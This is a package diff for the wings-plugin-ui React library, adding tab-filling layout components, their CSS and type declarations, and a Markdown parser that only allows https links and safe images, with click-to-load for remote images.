wings-plugin-ui 0.1.2 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -68,6 +68,10 @@ message.
68
68
  | `Stats` | `items: { label, value, tone? }[]` | Small figures side by side, label over value |
69
69
  | `Properties` | `items: { label, value }[]` | Label and value pairs |
70
70
  | `List`, `ListItem`, `ListButton` | `ordered` and `compact` on `List`, `align` on the rows | A list of rows; a `ListButton` in a `ListItem` makes the row a button |
71
+ | `Page`, `Toolbar` | `Page`: `toolbar`, `flush`; `Toolbar`: `title`, `actions`, `children` | A page that fills a tab: a toolbar row (title, then filters in `children`, `actions` on the right) over a body that scrolls. `flush` drops the body's padding and scrolling for a body that lays itself out. Show it with `showTab(<Page />, { fill: true })` |
72
+ | `ListDetail` | `list`, `detail`, `empty`, `listWidth` (px, 280), `listLabel`, `detailLabel`, `onBack`, `backLabel` | A list pane and a detail pane side by side; `empty` shows until there is a `detail`. Under 560px wide it shows one pane, the list or the detail, with a back button when `onBack` is given |
73
+ | `Board`, `BoardColumn` | `Board`: `label`; `BoardColumn`: `title`, `count`, `actions` | Columns that scroll sideways, each with a header, a count and a scrolling stack of cards (use `Card`). The board is a focusable region, so the arrow keys scroll it |
74
+ | `Split` | `start`, `end`, `direction` (`horizontal`, `vertical`), `defaultSize` (px, 280), `min` (120), `max`, `onResize`, `label` | Two panes with a draggable handle, a `separator` with `aria-valuenow` in px. Arrow keys (Shift for bigger steps), Home and End resize it. A drag only changes a CSS variable and `onResize(size)` runs once when it ends, so save it with `wings.setTabState()` and pass it back as `defaultSize` |
71
75
  | `Dot`, `Spinner` | `tone`, `size`, `label`; `Dot` also `color` | A status dot or a spinner, announced only with a `label`. A dot's `color` comes from your data, like a work item type's `#cc293d` |
72
76
  | `Pill`, `Tag` | `tone` | A filled pill, or an outlined tag like a branch |
73
77
  | `Loading`, `Empty` | `Empty`: `title`, `description` | Before the first data, and nothing to show |
@@ -81,6 +85,7 @@ message.
81
85
  | `Combobox` | `label`, `value`, `onInput`, `options: { value, label, detail? }[]`, `onPick`, `onEnter`, `onKeyDown`, `freeText`, `openOnFocus`, `open`, `filter`, `empty` | A text field with suggestions under it: arrows, Enter, Escape and Tab, and a press outside closes it. With `freeText` it keeps what you type; otherwise it picks one of `options`. `openOnFocus={false}` for a page that puts focus back into it after a render. Without `freeText` the picked label is selected when the field gets focus and after a pick, so typing replaces it. `onEnter(text)` runs on Enter when no option is highlighted, with the typed text, and stops the Enter from submitting a form around it. An `onKeyDown` you pass runs first; `e.preventDefault()` in it skips the combobox's own keys. ArrowDown on a closed combobox opens it and highlights the first option, as in the [WAI-ARIA APG combobox pattern](https://www.w3.org/WAI/ARIA/apg/patterns/combobox/). `open="whileText"` keeps the list shown for as long as the field has text and an option matches, even after Escape, Tab or a press outside (those only clear the highlighted option) and it closes when the text is emptied or an option is picked; `aria-expanded` follows whether the list is shown. Accessibility caveat: the APG pattern has Escape dismiss the popup and treats it as shown only while the user is working in the combobox, so this mode departs from it. Use it only where the suggestions are the page's main content, such as a people search that is useful to keep in view, and not for a field where a stray list would cover other controls |
82
86
  | `Menu` | `label`, `items: { id, label, onSelect, tone? }[]`, `align`, `variant`, `size` | A button that opens a menu: arrows, Home, End, Enter, Escape |
83
87
  | `Disclosure` | `summary` | More behind a line that opens it |
88
+ | `Markdown` | `source`, `inline` | Markdown as React: headings, lists with read-only task checkboxes, GFM tables, fenced code, quotes, rules, bold, italics, strikethrough, links and bare https URLs, and images. No HTML is ever parsed; only `https:` links open (through `wings.openUrl`, so the manifest needs `permissions.openUrl` with an `https://` prefix) and images load only from `https:` or `data:image/` png, jpeg, gif or webp URLs up to 8,000 characters (`MAX_DATA_IMAGE`); an `https:` image shows as a "Load image from <host>" button and loads only when clicked (no option to turn that off), because the text may come from an agent and the URL could carry data out, and a `data:` image shows at once; `[![alt](img)](url)` is a link with the alt as its text. `inline` renders just the inline parts in a span. Memoized on `source` |
84
89
 
85
90
  Every component passes other props, like `id`, `title`, `className`, `onClick` and `aria-*`, to its element.
86
91
  `TextInput` and `SearchField` pass `ref` to the input on React 19.
@@ -147,6 +152,7 @@ rather than styles.
147
152
  `w-shell` with `data-place` (`sidebar`, `popover`, `view`, `tab`, `settings`) and `data-fill`; `w-row`,
148
153
  `w-stack` with `data-gap`, `data-align`, `data-justify`, `data-wrap`, `data-grow`; `w-text` with `data-tone`,
149
154
  `data-size`, `data-weight`, `data-mono`, `data-numeric`, `data-truncate`, `data-clamp`, `data-grow`;
155
+ `w-page`, `w-page-body` with `data-flush`; `w-toolbar`, `w-toolbar-title`, `w-toolbar-main`, `w-toolbar-actions`; `w-list-detail` with `data-has-detail` and `--w-list-width`, `w-list-detail-list`, `w-list-detail-detail`, `w-list-detail-body`, `w-list-detail-back`; `w-board`, `w-board-column`, `w-board-column-header`, `w-board-column-title`, `w-board-column-count`, `w-board-column-actions`, `w-board-column-body`; `w-split` with `data-direction`, `data-dragging` and `--w-split-size`, `w-split-pane`, `w-split-handle`;
150
156
  `w-title` with `data-size`; `w-heading`, `w-heading-row`; `w-card` with `data-size`; `w-gauge`, `w-gauge-label`, `w-gauge-value`,
151
157
  `w-gauge-note`, `w-meter` with `data-tone`, `w-meter-fill`; `w-stats`, `w-stat-label`, `w-stat-value`;
152
158
  `w-props`, `w-prop`, `w-prop-label`, `w-prop-value`; `w-list` with `data-density`, `w-list-item`,
package/markdown.js ADDED
@@ -0,0 +1,187 @@
1
+ // A small, safe Markdown parser for plugin pages, as data. It never produces HTML: text stays text, so React escapes
2
+ // it, and the only URLs it lets through are https links and https or small data:image images.
3
+ //
4
+ // Blocks: headings, paragraphs, lists (flat, with an indent depth, and task items), fenced code, quotes, rules and
5
+ // GFM tables. Inline: code, bold, italics, strikethrough, links, images and bare https URLs.
6
+
7
+ /** A data: image longer than this, in characters, is shown as its alt text. */
8
+ export const MAX_DATA_IMAGE = 8000;
9
+
10
+ /** Only https links are ever opened. Anything else (javascript:, http:, data:, relative) is not a link. */
11
+ export const safeHref = (href) => (/^https:\/\/[^\s<>"'`]+$/i.test(href) ? href : null);
12
+
13
+ /** Only https images, and small raster data: images. SVG is left out, since it can carry script. */
14
+ export const safeSrc = (src) => {
15
+ if (/^https:\/\/[^\s<>"'`]+$/i.test(src)) return src;
16
+ if (src.length <= MAX_DATA_IMAGE && /^data:image\/(?:png|jpe?g|gif|webp);base64,[a-z0-9+/]+=*$/i.test(src)) return src;
17
+ return null;
18
+ };
19
+
20
+ const heading = /^\s{0,3}(#{1,6})\s+(.*)$/;
21
+ const bullet = /^(\s*)[-*+]\s+(.*)$/;
22
+ const numbered = /^(\s*)\d+[.)]\s+(.*)$/;
23
+ const fence = /^\s*(```|~~~)\s*([\w+-]*)/;
24
+ const rule = /^\s*([-*_])(\s*\1){2,}\s*$/;
25
+ const delimiterCell = /^:?-+:?$/;
26
+
27
+ /** The cells of a table row: split on `|` that isn't escaped as `\|`, outer pipes dropped. */
28
+ export function splitRow(line) {
29
+ let s = line.trim();
30
+ if (s.startsWith("|")) s = s.slice(1);
31
+ if (s.endsWith("|") && !s.endsWith("\\|")) s = s.slice(0, -1);
32
+ const cells = [];
33
+ let cell = "";
34
+ for (let i = 0; i < s.length; i++) {
35
+ if (s[i] === "\\" && s[i + 1] === "|") {
36
+ cell += "|";
37
+ i++;
38
+ } else if (s[i] === "|") {
39
+ cells.push(cell.trim());
40
+ cell = "";
41
+ } else cell += s[i];
42
+ }
43
+ cells.push(cell.trim());
44
+ return cells;
45
+ }
46
+
47
+ /** A table's delimiter row (`| --- | :-: |`) as column alignments, or null when the line isn't one. */
48
+ function delimiterRow(line) {
49
+ if (!line.includes("-") || !line.includes("|") && !/^\s*:?-+:?\s*$/.test(line)) return null;
50
+ const cells = splitRow(line);
51
+ if (!cells.every((c) => delimiterCell.test(c))) return null;
52
+ return cells.map((c) => (c.startsWith(":") && c.endsWith(":") ? "center" : c.endsWith(":") ? "right" : c.startsWith(":") ? "left" : null));
53
+ }
54
+
55
+ /** A heading's text without its closing hashes (`## Title ##`), found by walking back from the end. */
56
+ function headingText(text) {
57
+ let end = text.length;
58
+ while (end > 0 && /\s/.test(text[end - 1])) end--;
59
+ let hashes = end;
60
+ while (hashes > 0 && text[hashes - 1] === "#") hashes--;
61
+ if (hashes < end && hashes > 0 && /\s/.test(text[hashes - 1])) {
62
+ end = hashes;
63
+ while (end > 0 && /\s/.test(text[end - 1])) end--;
64
+ }
65
+ return text.slice(0, end);
66
+ }
67
+
68
+ /**
69
+ * Blocks of Markdown, as data:
70
+ * `{ kind: "heading", level 1-6, text }`, `{ kind: "paragraph", text }`,
71
+ * `{ kind: "list", ordered, items: { text, depth 0-3, checked: boolean | null }[] }`, `{ kind: "code", lang, text }`,
72
+ * `{ kind: "quote", text }`, `{ kind: "rule" }` and `{ kind: "table", align, head, rows }`.
73
+ */
74
+ export function parseBlocks(src) {
75
+ const blocks = [];
76
+ const lines = String(src).replace(/\r\n?/g, "\n").split("\n");
77
+ let paragraph = [];
78
+ const flush = () => {
79
+ if (paragraph.length) blocks.push({ kind: "paragraph", text: paragraph.join(" ") });
80
+ paragraph = [];
81
+ };
82
+ for (let i = 0; i < lines.length; i++) {
83
+ const line = lines[i];
84
+ const open = fence.exec(line);
85
+ if (open) {
86
+ flush();
87
+ const code = [];
88
+ while (++i < lines.length && !new RegExp(`^\\s*${open[1]}\\s*$`).test(lines[i])) code.push(lines[i]);
89
+ blocks.push({ kind: "code", lang: open[2], text: code.join("\n") });
90
+ continue;
91
+ }
92
+ if (!line.trim()) {
93
+ flush();
94
+ continue;
95
+ }
96
+ // A table: a header row with a pipe, then a delimiter row with as many cells.
97
+ if (line.includes("|") && i + 1 < lines.length) {
98
+ const align = delimiterRow(lines[i + 1]);
99
+ const head = align && splitRow(line);
100
+ if (align && head.length === align.length) {
101
+ flush();
102
+ const rows = [];
103
+ let j = i + 2;
104
+ for (; j < lines.length && lines[j].trim() && lines[j].includes("|"); j++) {
105
+ const cells = splitRow(lines[j]);
106
+ // Short rows are padded and long ones cut, as GFM does.
107
+ rows.push(Array.from({ length: head.length }, (_, c) => cells[c] ?? ""));
108
+ }
109
+ blocks.push({ kind: "table", align, head, rows });
110
+ i = j - 1;
111
+ continue;
112
+ }
113
+ }
114
+ const h = heading.exec(line);
115
+ const li = bullet.exec(line) ?? numbered.exec(line);
116
+ if (h) {
117
+ flush();
118
+ blocks.push({ kind: "heading", level: h[1].length, text: headingText(h[2]) });
119
+ } else if (rule.test(line)) {
120
+ flush();
121
+ blocks.push({ kind: "rule" });
122
+ } else if (li) {
123
+ flush();
124
+ const ordered = !bullet.test(line);
125
+ const task = /^\[([ xX])\]\s+(.*)$/.exec(li[2]);
126
+ const item = { text: task ? task[2] : li[2], depth: Math.min(3, Math.floor(li[1].replace(/\t/g, " ").length / 2)), checked: task ? task[1] !== " " : null };
127
+ const last = blocks.at(-1);
128
+ if (last?.kind === "list" && last.ordered === ordered) last.items.push(item);
129
+ else blocks.push({ kind: "list", ordered, items: [item] });
130
+ } else if (line.trimStart().startsWith(">")) {
131
+ flush();
132
+ const text = line.replace(/^\s*>\s?/, "");
133
+ const last = blocks.at(-1);
134
+ if (last?.kind === "quote") last.text += ` ${text}`;
135
+ else blocks.push({ kind: "quote", text });
136
+ } else paragraph.push(line.trim());
137
+ }
138
+ flush();
139
+ return blocks;
140
+ }
141
+
142
+ // Every scan is bounded and stops at a newline, so a long run of brackets or markers costs a bounded step per start
143
+ // rather than a pass over the rest of the text.
144
+ const inlinePattern =
145
+ /\[!\[([^\[\]\n]{0,200})\]\(([^)\s]{0,2000})\)\]\(([^)\s]{1,2000})\)|!\[([^\[\]\n]{0,200})\]\(([^)\s]{0,2000})\)|\[([^\[\]\n]{1,200})\]\(([^)\s]{1,2000})\)|`([^`\n]{1,2000})`|\*\*([^*\n]{1,2000})\*\*|~~([^~\n]{1,2000})~~|\*([^*\s][^*\n]{0,2000})\*|(https:\/\/[^\s<>"'`)\]]{1,2000})/gi;
146
+
147
+ const sentenceEnd = ".,;:!?";
148
+
149
+ /**
150
+ * Inline spans: `{ kind: "text" | "code" | "strong" | "em" | "del", text }`, `{ kind: "link", text, href }` and
151
+ * `{ kind: "image", alt, src }`. A link that isn't https is its text; an image that isn't allowed is its alt text. An
152
+ * image inside a link (`[![alt](img)](url)`) is a link whose text is the alt.
153
+ */
154
+ export function parseInline(src) {
155
+ const out = [];
156
+ let at = 0;
157
+ for (const m of src.matchAll(inlinePattern)) {
158
+ if (m.index > at) out.push({ kind: "text", text: src.slice(at, m.index) });
159
+ at = m.index + m[0].length;
160
+ if (m[3] !== undefined) {
161
+ const href = safeHref(m[3]);
162
+ const text = m[1] || m[3];
163
+ out.push(href ? { kind: "link", text, href } : { kind: "text", text: m[1] });
164
+ } else if (m[5] !== undefined) {
165
+ const safe = safeSrc(m[5]);
166
+ if (safe) out.push({ kind: "image", alt: m[4], src: safe });
167
+ else if (m[4]) out.push({ kind: "text", text: m[4] });
168
+ } else if (m[7] !== undefined) {
169
+ const href = safeHref(m[7]);
170
+ out.push(href ? { kind: "link", text: m[6], href } : { kind: "text", text: m[6] });
171
+ } else if (m[8] !== undefined) out.push({ kind: "code", text: m[8] });
172
+ else if (m[9] !== undefined) out.push({ kind: "strong", text: m[9] });
173
+ else if (m[10] !== undefined) out.push({ kind: "del", text: m[10] });
174
+ else if (m[11] !== undefined) out.push({ kind: "em", text: m[11] });
175
+ else {
176
+ // A bare URL, without the punctuation that ends a sentence.
177
+ let end = m[12].length;
178
+ while (end > 0 && sentenceEnd.includes(m[12][end - 1])) end--;
179
+ const url = m[12].slice(0, end);
180
+ const href = safeHref(url);
181
+ out.push(href ? { kind: "link", text: url, href } : { kind: "text", text: url });
182
+ if (end < m[12].length) out.push({ kind: "text", text: m[12].slice(end) });
183
+ }
184
+ }
185
+ if (at < src.length) out.push({ kind: "text", text: src.slice(at) });
186
+ return out;
187
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "wings-plugin-ui",
3
- "version": "0.1.2",
3
+ "version": "0.3.0",
4
4
  "description": "React components and the stylesheet for Wings plugin pages, on Base UI like the Wings app's shadcn/ui components.",
5
5
  "license": "MIT",
6
6
  "type": "module",
@@ -14,6 +14,7 @@
14
14
  },
15
15
  "files": [
16
16
  "ui.js",
17
+ "markdown.js",
17
18
  "ui.d.ts",
18
19
  "plugin-ui.css",
19
20
  "README.md",
@@ -33,7 +34,7 @@
33
34
  "peerDependencies": {
34
35
  "react": ">=19",
35
36
  "react-dom": ">=19",
36
- "wings-plugin-sdk": "^0.6.0 || ^0.7.0"
37
+ "wings-plugin-sdk": "^0.6.0 || ^0.7.0 || ^0.8.0"
37
38
  },
38
39
  "devDependencies": {
39
40
  "@types/react": "^19.1.8",
package/plugin-ui.css CHANGED
@@ -357,6 +357,243 @@ textarea::placeholder {
357
357
  font-size: 12px;
358
358
  }
359
359
 
360
+ /* Pages that fill a tab: a toolbar over a body, list and detail, a board, a split. */
361
+ .w-page {
362
+ display: flex;
363
+ flex: 1;
364
+ flex-direction: column;
365
+ min-width: 0;
366
+ min-height: 0;
367
+ }
368
+ .w-page-body {
369
+ display: flex;
370
+ flex: 1;
371
+ flex-direction: column;
372
+ gap: 10px;
373
+ min-width: 0;
374
+ min-height: 0;
375
+ padding: 14px;
376
+ overflow: auto;
377
+ }
378
+ .w-page-body[data-flush] {
379
+ gap: 0;
380
+ padding: 0;
381
+ overflow: hidden;
382
+ }
383
+ .w-page-body[data-flush] > :is(.w-list-detail, .w-split, .w-board) {
384
+ flex: 1;
385
+ }
386
+ .w-toolbar {
387
+ display: flex;
388
+ flex: none;
389
+ align-items: center;
390
+ gap: 10px;
391
+ min-width: 0;
392
+ padding: 8px 14px;
393
+ border-bottom: 1px solid var(--wings-hairline);
394
+ }
395
+ .w-toolbar-title {
396
+ flex: none;
397
+ max-width: 40%;
398
+ }
399
+ .w-toolbar-main {
400
+ display: flex;
401
+ flex: 1;
402
+ align-items: center;
403
+ gap: 8px;
404
+ min-width: 0;
405
+ }
406
+ .w-toolbar-actions {
407
+ display: flex;
408
+ flex: none;
409
+ align-items: center;
410
+ gap: 6px;
411
+ }
412
+
413
+ /* List and detail side by side; one pane when the page is narrower than 560px. */
414
+ .w-list-detail {
415
+ display: flex;
416
+ min-width: 0;
417
+ min-height: 0;
418
+ container-type: inline-size;
419
+ }
420
+ .w-list-detail-list {
421
+ flex: none;
422
+ width: var(--w-list-width, 280px);
423
+ min-width: 0;
424
+ padding: 8px;
425
+ overflow-y: auto;
426
+ border-right: 1px solid var(--wings-hairline);
427
+ }
428
+ .w-list-detail-detail {
429
+ display: flex;
430
+ flex: 1;
431
+ flex-direction: column;
432
+ min-width: 0;
433
+ overflow: hidden;
434
+ }
435
+ .w-list-detail-body {
436
+ display: flex;
437
+ flex: 1;
438
+ flex-direction: column;
439
+ min-height: 0;
440
+ padding: 14px;
441
+ overflow-y: auto;
442
+ }
443
+ .w-list-detail-body > .w-empty {
444
+ flex: 1;
445
+ }
446
+ .w-list-detail-back {
447
+ display: none;
448
+ align-self: flex-start;
449
+ margin: 8px 8px 0;
450
+ }
451
+ @container (max-width: 560px) {
452
+ .w-list-detail-list {
453
+ flex: 1;
454
+ width: auto;
455
+ border-right: 0;
456
+ }
457
+ .w-list-detail[data-has-detail] > .w-list-detail-list,
458
+ .w-list-detail:not([data-has-detail]) > .w-list-detail-detail {
459
+ display: none;
460
+ }
461
+ .w-list-detail-back {
462
+ display: inline-flex;
463
+ }
464
+ }
465
+
466
+ /* A board: columns that scroll sideways, each with a header and its cards. */
467
+ .w-board {
468
+ display: flex;
469
+ align-items: flex-start;
470
+ gap: 10px;
471
+ min-width: 0;
472
+ min-height: 0;
473
+ padding: 14px;
474
+ overflow-x: auto;
475
+ }
476
+ .w-board-column {
477
+ display: flex;
478
+ flex: none;
479
+ flex-direction: column;
480
+ align-self: stretch;
481
+ width: 272px;
482
+ min-height: 0;
483
+ padding: 8px;
484
+ border: 1px solid var(--wings-hairline);
485
+ border-radius: var(--wings-radius);
486
+ background: var(--wings-surface);
487
+ }
488
+ .w-board-column-header {
489
+ display: flex;
490
+ flex: none;
491
+ align-items: center;
492
+ gap: 6px;
493
+ min-width: 0;
494
+ padding: 2px 4px 8px;
495
+ }
496
+ .w-board-column-title {
497
+ flex: 1;
498
+ min-width: 0;
499
+ overflow: hidden;
500
+ font-size: 12px;
501
+ font-weight: 600;
502
+ text-overflow: ellipsis;
503
+ white-space: nowrap;
504
+ }
505
+ .w-board-column-count {
506
+ font-variant-numeric: tabular-nums;
507
+ }
508
+ .w-board-column-actions {
509
+ display: flex;
510
+ align-items: center;
511
+ gap: 4px;
512
+ }
513
+ .w-board-column-body {
514
+ display: flex;
515
+ flex: 1;
516
+ flex-direction: column;
517
+ gap: 8px;
518
+ min-height: 0;
519
+ overflow-y: auto;
520
+ }
521
+
522
+ /* A split: --w-split-size is the start pane's size, changed while you drag the handle. */
523
+ .w-split {
524
+ display: flex;
525
+ min-width: 0;
526
+ min-height: 0;
527
+ }
528
+ .w-split[data-direction="vertical"] {
529
+ flex-direction: column;
530
+ }
531
+ .w-split[data-dragging] {
532
+ user-select: none;
533
+ }
534
+ .w-split-pane {
535
+ display: flex;
536
+ flex-direction: column;
537
+ min-width: 0;
538
+ min-height: 0;
539
+ overflow: auto;
540
+ }
541
+ .w-split-pane:first-child {
542
+ flex: none;
543
+ }
544
+ .w-split[data-direction="horizontal"] > .w-split-pane:first-child {
545
+ width: var(--w-split-size);
546
+ }
547
+ .w-split[data-direction="vertical"] > .w-split-pane:first-child {
548
+ height: var(--w-split-size);
549
+ }
550
+ .w-split-pane:last-child {
551
+ flex: 1;
552
+ }
553
+ .w-split-handle {
554
+ position: relative;
555
+ flex: none;
556
+ touch-action: none;
557
+ outline: none;
558
+ }
559
+ .w-split[data-direction="horizontal"] > .w-split-handle {
560
+ width: 9px;
561
+ margin: 0 -4px;
562
+ cursor: col-resize;
563
+ z-index: 1;
564
+ }
565
+ .w-split[data-direction="vertical"] > .w-split-handle {
566
+ height: 9px;
567
+ margin: -4px 0;
568
+ cursor: row-resize;
569
+ z-index: 1;
570
+ }
571
+ .w-split-handle::before {
572
+ content: "";
573
+ position: absolute;
574
+ background: var(--wings-hairline);
575
+ transition: background-color 150ms;
576
+ }
577
+ .w-split[data-direction="horizontal"] > .w-split-handle::before {
578
+ inset: 0 4px;
579
+ }
580
+ .w-split[data-direction="vertical"] > .w-split-handle::before {
581
+ inset: 4px 0;
582
+ }
583
+ .w-split-handle:hover::before,
584
+ .w-split-handle[data-dragging]::before {
585
+ background: var(--wings-hairline-strong);
586
+ }
587
+ .w-split-handle:focus-visible::before {
588
+ background: var(--wings-ring);
589
+ }
590
+ .w-split[data-direction="horizontal"] > .w-split-handle:focus-visible::before {
591
+ inset: 0 3px;
592
+ }
593
+ .w-split[data-direction="vertical"] > .w-split-handle:focus-visible::before {
594
+ inset: 3px 0;
595
+ }
596
+
360
597
  /* A labelled bar, and the bar on its own. --w-value is how full it is. */
361
598
  .w-gauge {
362
599
  display: grid;
@@ -1289,4 +1526,139 @@ textarea::placeholder {
1289
1526
  animation: none;
1290
1527
  }
1291
1528
  }
1529
+ /* Markdown */
1530
+ .w-md {
1531
+ display: flex;
1532
+ flex-direction: column;
1533
+ gap: 10px;
1534
+ line-height: 1.55;
1535
+ overflow-wrap: anywhere;
1536
+ min-width: 0;
1537
+ }
1538
+ span.w-md {
1539
+ display: inline;
1540
+ }
1541
+ .w-md-heading {
1542
+ margin: 4px 0 0;
1543
+ font-weight: 600;
1544
+ font-size: 14px;
1545
+ }
1546
+ .w-md-heading[data-level="1"] {
1547
+ font-size: 15px;
1548
+ }
1549
+ .w-md-heading[data-level="3"],
1550
+ .w-md-heading[data-level="4"] {
1551
+ font-size: 13px;
1552
+ }
1553
+ .w-md-list {
1554
+ margin: 0;
1555
+ padding-left: 20px;
1556
+ }
1557
+ .w-md-list:not([data-ordered]) {
1558
+ list-style: disc;
1559
+ }
1560
+ .w-md-list[data-ordered] {
1561
+ list-style: decimal;
1562
+ }
1563
+ .w-md-list > li[data-depth="1"] {
1564
+ margin-left: 16px;
1565
+ }
1566
+ .w-md-list > li[data-depth="2"] {
1567
+ margin-left: 32px;
1568
+ }
1569
+ .w-md-list > li[data-depth="3"] {
1570
+ margin-left: 48px;
1571
+ }
1572
+ .w-md-list > li[data-task] {
1573
+ list-style: none;
1574
+ margin-left: -20px;
1575
+ }
1576
+ .w-md-list > li[data-task][data-depth="1"] {
1577
+ margin-left: -4px;
1578
+ }
1579
+ .w-md-check {
1580
+ width: 13px;
1581
+ height: 13px;
1582
+ margin: 0 6px 0 0;
1583
+ padding: 0;
1584
+ vertical-align: -2px;
1585
+ accent-color: var(--wings-fg);
1586
+ }
1587
+ .w-md-code {
1588
+ padding: 1px 4px;
1589
+ border-radius: 4px;
1590
+ background: rgb(255 255 255 / 0.08);
1591
+ font-family: var(--wings-mono);
1592
+ font-size: 0.92em;
1593
+ }
1594
+ .w-md-pre {
1595
+ margin: 0;
1596
+ padding: 10px 12px;
1597
+ overflow-x: auto;
1598
+ border-radius: 8px;
1599
+ background: rgb(255 255 255 / 0.06);
1600
+ font: 12px/1.45 var(--wings-mono);
1601
+ }
1602
+ .w-md-quote {
1603
+ margin: 0;
1604
+ padding-left: 12px;
1605
+ border-left: 2px solid var(--wings-hairline-strong);
1606
+ color: var(--wings-muted);
1607
+ }
1608
+ .w-md-rule {
1609
+ width: 100%;
1610
+ border: 0;
1611
+ border-top: 1px solid var(--wings-hairline);
1612
+ }
1613
+ .w-md-link {
1614
+ color: var(--wings-info);
1615
+ text-underline-offset: 2px;
1616
+ }
1617
+ .w-md-link:hover {
1618
+ text-decoration: underline;
1619
+ }
1620
+ .w-md-image {
1621
+ display: block;
1622
+ max-width: 100%;
1623
+ height: auto;
1624
+ border-radius: 8px;
1625
+ }
1626
+ .w-md-image-load {
1627
+ height: auto;
1628
+ max-width: 100%;
1629
+ padding: 4px 10px;
1630
+ font-size: 12px;
1631
+ overflow-wrap: anywhere;
1632
+ }
1633
+ .w-md-table-wrap {
1634
+ max-width: 100%;
1635
+ overflow-x: auto;
1636
+ border: 1px solid var(--wings-hairline);
1637
+ border-radius: 8px;
1638
+ }
1639
+ .w-md-table {
1640
+ width: 100%;
1641
+ border-collapse: collapse;
1642
+ font-size: 12.5px;
1643
+ }
1644
+ .w-md-table th,
1645
+ .w-md-table td {
1646
+ padding: 6px 10px;
1647
+ border-bottom: 1px solid var(--wings-hairline);
1648
+ text-align: left;
1649
+ vertical-align: top;
1650
+ }
1651
+ .w-md-table th {
1652
+ background: var(--wings-surface);
1653
+ font-weight: 600;
1654
+ }
1655
+ .w-md-table tbody tr:last-child td {
1656
+ border-bottom: 0;
1657
+ }
1658
+ .w-md-table [data-align="center"] {
1659
+ text-align: center;
1660
+ }
1661
+ .w-md-table [data-align="right"] {
1662
+ text-align: right;
1663
+ }
1292
1664
  }
package/ui.d.ts CHANGED
@@ -78,6 +78,65 @@ export function Title(props: Props<"h1"> & { as?: "h1" | "h2" | "h3"; size?: "la
78
78
  /** A card. `compact` for a summary line. As a `form` it holds a form; as a `ul` or `ol`, a list of `li`. `as` types the props like `Row`'s. */
79
79
  export function Card<E extends CardAs = "div">(props: Own<E, { as?: E; compact?: boolean }>): ReactElement;
80
80
 
81
+ // ---------- pages ----------
82
+
83
+ /**
84
+ * A page that fills a tab: a `toolbar`, usually a `Toolbar`, over a body that scrolls. `flush` takes the body's padding
85
+ * and scrolling away, for a body that lays itself out, like a `ListDetail`, a `Split` or a `Board`. Show it with
86
+ * `showTab(<Page />, { fill: true })`.
87
+ */
88
+ export function Page(props: Props<"div"> & { toolbar?: ReactNode; flush?: boolean }): ReactElement;
89
+ /** A page's top row: a `title` (cut to one line) on the left, `children` like filters or a search box after it, and `actions` on the right. */
90
+ export function Toolbar(props: Omit<Props<"header">, "title"> & { title?: ReactNode; actions?: ReactNode }): ReactElement;
91
+ /**
92
+ * A `list` pane and a `detail` pane side by side. Without a `detail` the detail pane shows `empty`. When the page is
93
+ * narrower than 560px it shows one pane: the list, or the detail once there is one, with a back button if `onBack`
94
+ * is given. Each pane is a `section`; name them with `listLabel` and `detailLabel`.
95
+ */
96
+ export function ListDetail(
97
+ props: Omit<Props<"div">, "children"> & {
98
+ list: ReactNode;
99
+ detail?: ReactNode;
100
+ /** What the detail pane shows without a `detail`: an `Empty` saying "Nothing selected" by default. */
101
+ empty?: ReactNode;
102
+ /** The list's width in px, 280 by default. */
103
+ listWidth?: number;
104
+ listLabel?: string;
105
+ detailLabel?: string;
106
+ /** Shows a back button above the detail when the page is too narrow for both panes. */
107
+ onBack?: () => void;
108
+ /** The back button's text, "Back" by default. */
109
+ backLabel?: string;
110
+ },
111
+ ): ReactElement;
112
+ /** Columns side by side that scroll sideways, each a `BoardColumn`. A region named `label`, that takes keyboard focus so the arrow keys scroll it. */
113
+ export function Board(props: Omit<Props<"div">, "role"> & { label: string }): ReactElement;
114
+ /** A column of a `Board`: a `title` with the `count` of its cards and `actions`, over `children`, usually `Card`s, that scroll. */
115
+ export function BoardColumn(props: Omit<Props<"section">, "title"> & { title: ReactNode; count?: number; actions?: ReactNode }): ReactElement;
116
+ /**
117
+ * Two panes, `start` and `end`, with a handle between them. Drag the handle, or focus it and press the arrow keys
118
+ * (Shift for bigger steps), Home or End. A drag changes a CSS variable only and commits on release, so nothing renders
119
+ * per frame. The handle is a `separator` with `aria-valuenow` in px.
120
+ */
121
+ export function Split(
122
+ props: Omit<Props<"div">, "children"> & {
123
+ start: ReactNode;
124
+ end: ReactNode;
125
+ /** "horizontal" (default) puts the panes side by side, "vertical" one over the other. */
126
+ direction?: "horizontal" | "vertical";
127
+ /** The start pane's size in px at first, 280 by default. Read from `wings.tabState()` to restore a saved one. */
128
+ defaultSize?: number;
129
+ /** The smallest either pane gets, in px, 120 by default. */
130
+ min?: number;
131
+ /** The biggest the start pane gets, in px. */
132
+ max?: number;
133
+ /** Gets the start pane's size in px when a drag or a key press ends, to save it with `wings.setTabState()`. */
134
+ onResize?: (size: number) => void;
135
+ /** Names the handle: "Resize panes" by default. */
136
+ label?: string;
137
+ },
138
+ ): ReactElement;
139
+
81
140
  // ---------- figures ----------
82
141
 
83
142
  /** A bar from 0 to 100, with the meter role. */
@@ -275,3 +334,17 @@ export function Menu(props: Omit<Props<"button">, "children"> & { label: ReactNo
275
334
  export function Disclosure(
276
335
  props: Omit<Props<"div">, "children"> & { summary: ReactNode; children?: ReactNode; open?: boolean; defaultOpen?: boolean; onOpenChange?: (open: boolean) => void },
277
336
  ): ReactElement;
337
+
338
+ // ---------- markdown ----------
339
+
340
+ /**
341
+ * Markdown as React elements: headings, paragraphs, lists (with read-only task checkboxes), fenced code, quotes,
342
+ * rules, GFM tables, bold, italics, strikethrough, inline code, links, bare https URLs and images. No HTML is ever
343
+ * parsed. Links open through `wings.openUrl` and only when they are https, so the manifest needs
344
+ * `permissions.openUrl: ["https://"]` for them to work. Images load only from https or `data:image/` (png, jpeg, gif,
345
+ * webp) URLs of up to 8,000 characters; anything else shows its alt text. A remote https image shows as a "Load image from <host>" button and loads only when clicked, since text an agent wrote could otherwise leak data in the URL; a data: image shows at once. `inline` renders only the inline parts, in
346
+ * a span, for a table cell or a one-line value. Re-renders only when `source` changes.
347
+ */
348
+ export function Markdown(props: Omit<Props<"div">, "children"> & { source: string; inline?: boolean }): ReactElement;
349
+ /** The longest `data:image/` URL, in characters, that `Markdown` shows. */
350
